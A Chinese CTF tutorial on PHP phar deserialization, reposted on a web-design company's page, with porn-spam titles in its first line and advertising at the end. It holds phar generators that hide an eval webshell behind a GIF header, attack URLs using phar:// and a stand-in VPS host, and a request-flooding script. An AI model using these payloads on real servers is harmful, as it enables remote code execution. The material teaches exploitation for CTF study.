久久久精品一区ed2k-女人被男人叉到高潮的视频-中文字幕乱码一区久久麻豆樱花-俄罗斯熟妇真实视频

PHP反序列化入門中phar是什么

這篇文章將為大家詳細(xì)講解有關(guān)PHP反序列化入門中phar是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

在杏花嶺等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強(qiáng)發(fā)展的系統(tǒng)性、市場(chǎng)前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供做網(wǎng)站、網(wǎng)站制作 網(wǎng)站設(shè)計(jì)制作按需網(wǎng)站開發(fā),公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),品牌網(wǎng)站設(shè)計(jì),營(yíng)銷型網(wǎng)站,成都外貿(mào)網(wǎng)站建設(shè)公司,杏花嶺網(wǎng)站建設(shè)費(fèi)用合理。

phar介紹

簡(jiǎn)單來(lái)說(shuō)phar就是php壓縮文檔。它可以把多個(gè)文件歸檔到同一個(gè)文件中,而且不經(jīng)過(guò)解壓就能被 php 訪問(wèn)并執(zhí)行,與file:// php://等類似,也是一種流包裝器。

phar結(jié)構(gòu)由 4 部分組成

  • stub phar 文件標(biāo)識(shí),格式為 xxx<?php xxx; __HALT_COMPILER();?>;

  • manifest 壓縮文件的屬性等信息,以序列化存儲(chǔ);

  • contents 壓縮文件的內(nèi)容;

  • signature 簽名,放在文件末尾;

這里有兩個(gè)關(guān)鍵點(diǎn),一是文件標(biāo)識(shí),必須以__HALT_COMPILER();?>結(jié)尾,但前面的內(nèi)容沒(méi)有限制,也就是說(shuō)我們可以輕易偽造一個(gè)圖片文件或者pdf文件來(lái)繞過(guò)一些上傳限制;二是反序列化,phar存儲(chǔ)的meta-data信息以序列化方式存儲(chǔ),當(dāng)文件操作函數(shù)通過(guò)phar://偽協(xié)議解析phar文件時(shí)就會(huì)將數(shù)據(jù)反序列化,而這樣的文件操作函數(shù)有很多。

以上內(nèi)容摘自:由 PHPGGC 理解 PHP 反序列化漏洞 。接下來(lái),我們還是通過(guò)兩個(gè)CTF題目來(lái)學(xué)習(xí)phar反序列化的利用。

例題一

PHP反序列化入門中phar是什么

這題比較簡(jiǎn)單,可以直接生成 phar文件,然后利用網(wǎng)站的上傳圖片功能,結(jié)合 第11行file_exists函數(shù)進(jìn)行phar反序列化利用,生成代碼如下:

<?php
// phar.readonly無(wú)法通過(guò)該語(yǔ)句進(jìn)行設(shè)置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后綴必須為phar,否則程序無(wú)法運(yùn)行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

PHP反序列化入門中phar是什么

例題二

這題選用 HITCON2017中的 Baby^H Master PHP 2017一題進(jìn)行學(xué)習(xí),題目點(diǎn) 這里 下載。

PHP反序列化入門中phar是什么

題目的意思很明確,要我們利用 Admin類的 __destruct方法來(lái)獲得 flag。但是 第20行$random變量我們無(wú)法獲得,這樣也就無(wú)法獲得 flag,所以我們要通過(guò)匿名類的名字來(lái)調(diào)用 flag生成函數(shù)。

我們可以看看 create_function函數(shù)對(duì)應(yīng)的內(nèi)核源碼。( php-src/Zend/zend_builtin_functions.c:1901

PHP反序列化入門中phar是什么

可以看到匿名函數(shù)的名字類似于 \0lambda_%d,其中 %d為數(shù)字,取決于進(jìn)程中匿名函數(shù)的個(gè)數(shù),但是我們每訪問(wèn)一次題目,就會(huì)生成一個(gè)匿名函數(shù),這樣匿名函數(shù)的名字就不好控制。這里,我們便要引入 apache-prefork模型(默認(rèn)模型)介紹(關(guān)于該模型的介紹,可以參考: Apache的三種MPM模式比較:prefork,worker,event )。當(dāng)用戶請(qǐng)求過(guò)大時(shí),超過(guò) apache默認(rèn)設(shè)定的閥值時(shí),就會(huì)啟動(dòng)新的線程來(lái)處理請(qǐng)求,此時(shí)在新的線程中,匿名函數(shù)的名字又會(huì)從1開始遞增,這樣我們就容易猜測(cè)匿名函數(shù)的名字了。

接下來(lái)我們就來(lái)找反序列化的利用點(diǎn),我們很快看到 第35行反序列化了一個(gè)可控的 $data變量,但是上一行有一個(gè) hash_equals函數(shù)進(jìn)行了數(shù)據(jù)校驗(yàn),而 $SECRET的值不可知,這就沒(méi)法利用這一反序列化點(diǎn)。接著我們會(huì)看到 第40行有一個(gè)上傳 gif文件功能,且 $data變量可控。那么攻擊思路就是,我們先通過(guò)將構(gòu)造好的 phar文件傳到服務(wù)器上,再利用可控的 $_GET["url"]結(jié)合 phar協(xié)議,進(jìn)行反序列化。用于生成 phar的代碼如下:

<?php
// phar.readonly無(wú)法通過(guò)該語(yǔ)句進(jìn)行設(shè)置: init_set("phar.readonly",0);
class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = 'avatar.gif'; 
    } 
} 
class Admin extends User { }

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

將生成的 avatar.phar放在自己的 vps上并重命名成 avatar.gif,然后將文件上傳到題目服務(wù)器上:

http://題目IP/index.php?m=upload&url=http://VPS_IP/

接著,我們需要通過(guò)大量請(qǐng)求,使 apache重新開啟一個(gè)新的線程,然后訪問(wèn)如下 url即可完成反序列化并獲得 flag

http://題目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

關(guān)于 phar更深的利用,可以參考這篇文章:Phar與Stream Wrapper造成PHP RCE的深入挖掘

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 8000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

關(guān)于PHP反序列化入門中phar是什么就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

本文標(biāo)題:PHP反序列化入門中phar是什么
文章地址:http://sd-ha.com/article46/popseg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供商城網(wǎng)站、網(wǎng)站建設(shè)網(wǎng)站改版、靜態(tài)網(wǎng)站、軟件開發(fā)、電子商務(wù)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

網(wǎng)站托管運(yùn)營(yíng)